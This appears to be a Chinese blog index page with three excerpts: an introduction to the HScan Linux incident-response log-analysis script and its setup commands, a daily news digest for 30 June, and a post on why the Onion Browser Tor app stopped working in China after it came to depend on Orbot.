介绍. HScan，本脚本旨在为安全应急响应人员对Linux主机排查，日志分析等提供便利，定制化在主机中执行命令 获取脚本 git clone https://github.com/HZzz2/HScan.git cd HScan 使用脚本       python log_analysis.py #默认输出至当前目录out_log_analysis.txt或者python log_analysis.py out.txt  #进行指定输出至out.txt 查看输出 cat out_log_analysis.txt  在配置文件中添加需要执行的命令 vim log.cfg 可以在定时任务中设置每天八点执行此脚本。vim /etc/crontab00 8 * * * root python3 /you_path/HScan/log_analysis.py下载地址https://github.com/HZzz2/HScan.  ...

6月30日，农历五月十三，星期五 在这里，每天60秒读懂世界 1、全国多家高校发公告称：7月1日起暂停使用微信支付，原因是微信支付针对校园行业开始收取服务费用，费率高达 0.6%。微信团队致歉：即刻修正，非盈利场景将维持零费率； 2、"中国天眼"发现纳赫兹引力波存在的关键证据，这是纳赫兹引力波搜寻的一个重要突破； 3、29日凌晨，山西大同一煤矿发生顶板冒落事故，已有3人获救，仍有1人被困；山西代县一铁矿大量瞒报矿工死亡：15年间至少瞒报17人 其中仅一年就有7人； 4、上海：今起将发行加载交通功能的社保卡，可乘地铁、公交等；深圳机场：7月起国内航班截载时间调整为航班起飞前40分钟； 5、29日下午，重庆市奉节县因持续降雨，一中巴车遭意外落石砸中，致乘客6死9伤； 6、外媒：为保护本土鸟类，新西兰计划到2050年消灭当地所有老鼠，将通过GPS应用实时更新诱饵信息； 7、北约秘书长：将于7月6日召开讨论瑞典加入北约的会议； 8、28日，印度又发生桥梁事故：恒河上的临时桥遇强风"一分为二"，大批居民被困河中； 9、哈佛大学顶级物理学家从太平洋底打捞起流星碎片，称或是"外星飞船"残骸，含有的元素在地球上极不寻常； 10、外媒：武契奇儿子被科索沃当局扣留，事发时身穿写有"投降不是选择"T恤； 11、世卫研究称：广泛用于无糖饮料的阿斯巴甜可能致癌，目前可口可乐无糖汽水、玛氏Extra口香糖和一些Snapple饮料等均有使用；国际饮料协会：阿斯巴甜致癌结论有误导，更全面审查尚在进行； 12、美国南部地区遭受热浪炙烤，超5500万人处于高温警报状态下，已造成至少17人死亡； 13、外媒：乌克兰或成首个废除现金的国家，称将有助于清除至少95％的腐败案件；韩日两国就重启货币互换达成协议，最大交换额度100亿美元； 14、美官员称“苏罗维金可能提前知道瓦格纳兵变，现已被扣押接受调查”，克宫回应：这是谣言；俄空军副总司令否认他及苏罗维金被捕：正在家中休假；美方称未干涉俄内政，俄罗斯外长：美几年前就煽动并资助反对势力游行； 15、外媒：卫星图像显示白俄军事基地现多处新建设施，疑与"瓦格纳"有关；美媒：美国欲引渡普里戈任。俄外交部：不会将任何本国公民引渡至他国；俄官员：瓦格纳拒绝与国防部签合同，将不被允许继续参与在乌军事行动； 【微语】既然是人生，就免不了人情冷暖；既然是生活，就免不了酸甜苦辣！...

Kirin博客曾经给大家介绍了苹果手机IOS系统访问暗网的方法那就是下载使用开源的IOS版本Tor浏览器Onion Browser。但是现在，境内苹果手机使用该方法已经无法访问暗网。 “Onion Browser”是Tor项目认可推荐的基于IOS系统的浏览器 Tor项目没有推出官方IOS浏览器，但是主页推荐了一款第三方浏览器 “Onion Browser”新的升级 6月中旬，Tor项目官方认可的IOS版本Tor浏览器“Onion Browser”进行一次重大升级，升级到v3.0.0版本，根据更新日志，新版本依赖Orbot进行Tor网络访问。Orbot处理所有的网络路由，而Orbot停止时，“Onion Browser”确保所有的请求都将被取消。 也就意味着，只有当Orbot正常连接Tor网络后，“Onion Browser”才开始正常工作。而不再是“Onion Browser”应用自行接入Tor网络，并访问onion站点。现在打开“Onion Browser”，会显示“Onion Browser wants to access Orbot.”，但是“Grant”后发现，Orbot根本无法成功连接。 iOS系统上的Tor：“Orbot” Orbot是Guardian项目开发的基于Tor网络的代理，自称“适用于智能手机的TOR VPN”，号称可以“保持您的应用程序流量私密且畅通” Orbot是一款免费应用程序，于2008年在Android系统上发布，2022年在iOS系统上推出。 Orbot不是一个独立的Tor浏览器。它的作用与VPN类似，通过Tor网络路由所有流量。 Orbot允许任何应用程序连接到洋葱站点，并允许你的手机自己托管一个洋葱服务器。 “Onion Browser”境内无法访问的原因 技术上而言，Orbot其实就是一个VPN，所以由于众所周知的原因，Orbot在境内无法访问。但是“Onion Browser”却依赖Orbot开启前置连接后，才能使用。因此在境内“Onion Browser”再也无法使用，除非路由层面已经跨境，或者，自行架设网桥（bridge）。...